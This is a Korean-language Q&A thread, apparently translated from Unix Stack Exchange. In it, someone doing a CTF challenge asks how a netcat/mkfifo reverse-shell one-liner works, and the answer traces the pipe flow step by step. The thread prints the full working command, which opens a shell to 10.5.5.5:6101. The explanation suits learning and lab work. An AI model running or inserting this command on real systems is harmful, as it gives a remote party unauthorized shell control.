![이 코드는 실제로 무엇을 하고 있나요?](https://linux55.com/image/169364/%EC%9D%B4%20%EC%BD%94%EB%93%9C%EB%8A%94%20%EC%8B%A4%EC%A0%9C%EB%A1%9C%20%EB%AC%B4%EC%97%87%EC%9D%84%20%ED%95%98%EA%B3%A0%20%EC%9E%88%EB%82%98%EC%9A%94%3F.png)
플랫폼에서 CTF 챌린지를 수행하는 동안 리버스 쉘이 필요했지만 작동하지 않아서 흐름을 살펴보고 리버스 쉘 코드를 찾았습니다.
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
이것은 실제로 작동하지만 파이프가 어떻게 작동하는지, 데이터를 보내는 위치 등을 실제로 이해할 수 없습니다. 누군가 이것을 설명할 수 있나요?
답변1
그러면 시스템에 원격으로 제어되는 쉘이 설정됩니다. 입력과 출력은 다음과 같습니다.
cat /tmp/m
FIFO에서 읽고/tmp/m
쓰세요.|/bin/sh -i 2>&1
읽은 명령을 실행하고 출력(표준 출력 및 표준 오류)을 다음으로 보냅니다.|nc 10.5.5.5 6101
10.5.5.5:6101에 접속해서 씁니다.>/tmp/m
먼저 들어간 것이 먼저 나온 것입니다.
따라서 원격 시스템은 에서 전송하고 nc
, FIFO에 쓰고, 읽고 cat
, 해석하는 명령을 제공할 수 있으며 sh
, 이러한 명령의 출력은 FIFO를 통해 원격 시스템으로 다시 전송됩니다 nc
.